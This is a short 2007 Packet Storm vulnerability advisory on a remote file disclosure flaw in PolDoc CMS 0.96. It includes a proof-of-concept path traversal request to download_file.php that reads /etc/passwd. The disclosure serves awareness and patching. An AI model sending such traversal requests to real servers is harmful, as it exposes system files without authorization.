poldoccms-disclose.txt

2007-12-08T00:00:00
ID PACKETSTORM:61621
Type packetstorm
Reporter GolD_M
Modified 2007-12-08T00:00:00

Description

                                        
                                            `PolDoc CMS 0.96 (download_file.php filename) Remote File Disclosure Vulnerability  
D . Script : http://sourceforge.net/project/showfiles.php?group_id=100272  
POC : /download_file.php?filename=../../../../../../../../etc/passwd  
  
`